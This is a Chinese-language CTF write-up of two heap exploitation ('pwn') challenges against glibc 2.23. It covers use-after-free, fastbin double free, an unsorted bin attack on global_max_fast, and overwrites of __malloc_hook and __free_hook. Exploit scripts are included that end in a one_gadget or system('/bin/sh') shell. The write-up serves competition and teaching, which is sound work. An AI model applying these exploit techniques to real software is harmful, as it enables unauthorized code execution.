2025古剑山CTF两道pwn
字数 1201 2025-12-08 12:15:03
2025古剑山CTF PWN题解教学
题目一:PWN1(UAF漏洞利用)
漏洞分析
- 环境:GLIBC 2.23
- 漏洞类型:UAF(Use-After-Free)
- 限制条件:
- 不限制堆块申请大小
- 限制free次数(只能3次)
- 存在后门函数
利用思路
-
信息泄露:
- 申请两个0x68大小堆块(chunk0、chunk1)和两个0x100大小堆块(chunk2、chunk3)
- 释放chunk2进入unsorted bin
- 通过show功能泄露libc地址
-
双重释放攻击:
- 依次释放chunk0、chunk1、chunk0,形成fastbin循环链表
- 通过编辑修改fd指针指向__malloc_hook附近
-
Hook覆盖:
- 利用fastbin attack分配到__malloc_hook附近
- 覆盖__malloc_hook为one_gadget或后门地址
关键代码分析
# 泄露libc基址
add(0,0x68,b'a')
add(1,0x68,b'a')
add(2,0x100,b'a')
add(3,0x100,b'a')
dele(2)
show(2)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3C4B58 - 0x20
# 双重释放攻击
dele(0)
dele(1)
dele(0)
# 修改fd指针
add(1,0x68,b'a')
edit(1, p64(malloc_hook-0x23))
# 分配并覆盖hook
add(4,0x68,b'a')
add(5,0x68,p64(libc_base + 0x4527a)) # one_gadget
技术要点
- unsorted bin泄露:chunk的fd指针指向main_arena结构,计算libc基址
- fastbin dup:通过双重释放构造循环链表,实现任意地址分配
- hook附近伪造chunk:需要找到合适的fake chunk size(如0x7f)
题目二:PWN2(受限环境下的UAF利用)
漏洞分析
- 漏洞类型:UAF漏洞
- 限制条件:
- 限制堆块大小和数量
- 只能使用unsorted bin/small bin
- free后指针未清零,索引递增
利用思路
-
信息泄露:
- 通过unsorted bin泄露libc和堆地址
- 计算关键符号的真实地址
-
Unsorted Bin Attack:
- 修改global_max_fast值,将大块纳入fastbin管理
- 为后续fastbin attack创造条件
-
堆布局利用:
- 利用chunk_size数组的可控性
- 将chunk_size部分区域伪造成堆块进行分配
-
hook劫持:
- 修改__free_hook为system函数
- 通过释放包含"/bin/sh"的块获取shell
关键代码分析
# 初始堆布局
add(0xa8, b'0') # chunk0
add(0x88, b'1') # chunk1
add(0x88, b'2') # chunk2
add(0x88, b'3') # chunk3
# 泄露libc和堆地址
dele(2)
show(2)
libc_ = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
dele(0)
show(0)
heap = u64(p.recvuntil('\x55\x55\x55')[-6:].ljust(8, b'\x00'))
# Unsorted Bin Attack修改global_max_fast
libc_base = libc_ - 0x3C4B78
edit(0, p64(libc_) + p64(libc_base + 0x3c67f8 - 0x10))
# 利用chunk_size区域进行分配
edit(2, p64(heap - 0x30B8)) # 修改指针指向chunk_size区域
add(0x80, b'a')
add(0x80, p64(0x1000)*5 + p64(libc_base + libc.sym['__free_hook']))
# 劫持free_hook
edit(0, p64(libc_base + libc.sym['system']))
edit(1, b'/bin/sh\x00')
dele(1) # 触发system("/bin/sh")
技术要点
- global_max_fast攻击:通过unsorted bin attack修改该值,扩展fastbin范围
- bss段利用:将chunk_size数组作为伪堆块进行分配
- 受限环境绕过:在严格的堆大小限制下实现代码执行
通用利用技巧
调试技巧
def bug():
gdb.attach(p, 'b*0x401E79') # 关键断点
交互函数封装
def add(idx, size, content):
# 标准化交互流程
pass
def dele(idx):
pass
def edit(idx, content):
pass
def show(idx):
pass
地址计算
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
总结
这两道题目展示了在不同限制条件下的UAF漏洞利用技术:
- PWN1侧重于传统的堆利用技术,如fastbin dup和hook覆盖
- PWN2在更严格的环境下展示了创新的利用方法,如global_max_fast攻击和bss段利用
关键掌握点:
- 各种bin的管理机制和攻击方法
- 信息泄露的技巧和地址计算
- 受限环境下的创造性解决方案
- 调试技巧和利用链的构造